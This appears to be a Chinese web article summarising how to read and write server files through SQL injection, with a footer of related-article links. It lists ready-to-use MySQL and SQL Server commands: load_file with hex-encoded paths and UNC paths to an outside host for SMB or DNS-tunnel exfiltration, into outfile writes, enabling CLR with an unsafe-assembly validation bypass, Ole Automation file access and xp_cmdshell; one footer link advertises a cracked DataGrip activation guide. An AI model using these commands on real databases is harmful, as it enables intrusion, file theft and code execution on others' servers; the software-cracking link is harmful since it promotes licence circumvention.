關(guān)于SQL注入中文件讀寫的方法總結(jié)
前言
SQL注入有直接sql注入也有文件讀寫時(shí)的注入了我們這篇文章介紹的是SQL注入中的文件讀寫這一塊的內(nèi)容,具體的一起來看看。
一、MySQL
讀文件
常見的讀文件,可以用16進(jìn)制代替字符串
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb協(xié)議
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
寫文件
我暫時(shí)已知l兩種寫文件的方式
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'
二、 SQL Server
讀文件
1. BULK INSERT
create table result(res varchar(8000)); bulk insert result from 'd:/1.txt';
2. CLR集成
// 開啟CLR集成 exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'clr enabled',1 reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe
上面一句可以利用create assembly函數(shù)從遠(yuǎn)程服務(wù)器加載任何.NET二進(jìn)制文件到數(shù)據(jù)庫中;但是他會(huì)驗(yàn)證是否為合法.NET程序,導(dǎo)致失敗,下面是讀取方式
select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files
繞過,首先加載一個(gè)有效的.NET的二進(jìn)制文件,然后追加文件即可,下面是繞過方法。
create assembly sqb from 'd:\net.exe'; alter assembly sqb add file from 'd:\1.txt' alter assembly sqb add file from 'd:\notnet.exe'
3. Script.FileSystemObject
# 開啟Ole Automation Procedures sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1 exec @ret = sp_onmethod @f, 'readline', @line out while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end
寫文件
1. Script.FileSystemObject
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
2. BCP復(fù)制文件(測試失敗,無bcp.exe)
c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"
3. xp_cmdshell
exec xp_cmdshell 'echo test>d:\1.txt'
三、Oracle
pass,Oracle太坑了~~~幾乎都受到PL/SQL的限制,暫時(shí)不討論
總結(jié)
以上就是關(guān)于SQL注入中文件的讀寫方法總結(jié),希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。
相關(guān)文章
dataGrip顯示clickhouse時(shí)間字段不正確的問題
最近做數(shù)據(jù)遷移碰到一個(gè)問題,源數(shù)據(jù)和目的端數(shù)據(jù),導(dǎo)入的時(shí)間怎么都差8個(gè)小時(shí),本文就來介紹一下如何解決,感興趣的可以了解一下2021-09-09
最新DataGrip2020.2.x破解版激活碼的步驟詳解(支持Mac/Windows/Linux)
這篇文章主要介紹了最新DataGrip2020.2.x破解版激活碼教程詳解(支持Mac/Windows/Linux),本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-11-11
使用dump transaction with no_log的危險(xiǎn)性說明
在命令參考手冊中的dump transaction with no_log條目下,有一條警告信息告訴你,你應(yīng)該把這條命令作為沒有其它辦法時(shí)的最后一招才使用它2012-07-07
MySQL與Oracle數(shù)據(jù)類型對應(yīng)關(guān)系(表格形式)
MySQL與Oracle兩種數(shù)據(jù)庫在工作中,都是用的比較多的數(shù)據(jù)庫,由于MySQL與Oracle在數(shù)據(jù)類型上有部分差異,在我們遷移數(shù)據(jù)庫時(shí),會(huì)遇上一定的麻煩,下面介紹MySQL與Oracle數(shù)據(jù)庫數(shù)據(jù)類型的對應(yīng)關(guān)系2017-04-04
GaussDB數(shù)據(jù)庫事務(wù)管理及高級應(yīng)用
GaussDB是華為公司開發(fā)的一種數(shù)據(jù)庫產(chǎn)品,它是一種分布式關(guān)系型數(shù)據(jù)庫管理系統(tǒng)(RDBMS),這篇文章主要給大家介紹了關(guān)于GaussDB數(shù)據(jù)庫事務(wù)管理及高級應(yīng)用的相關(guān)資料,文中通過代碼介紹的非常詳細(xì),需要的朋友可以參考下2024-05-05
開源數(shù)據(jù)庫設(shè)計(jì)神器chiner的安裝及初體驗(yàn)介紹
最近在造輪子,從?0?到?1?的那種,就差前臺(tái)的界面了,大家可以耐心耐心耐心期待一下。其中需要設(shè)計(jì)一些數(shù)據(jù)庫表,可以通過?Navicat?這種圖形化管理工具直接開搞,也可以通過一些數(shù)據(jù)庫設(shè)計(jì)工具來搞,比如說?PowerDesigner,更專業(yè)一點(diǎn)2022-02-02

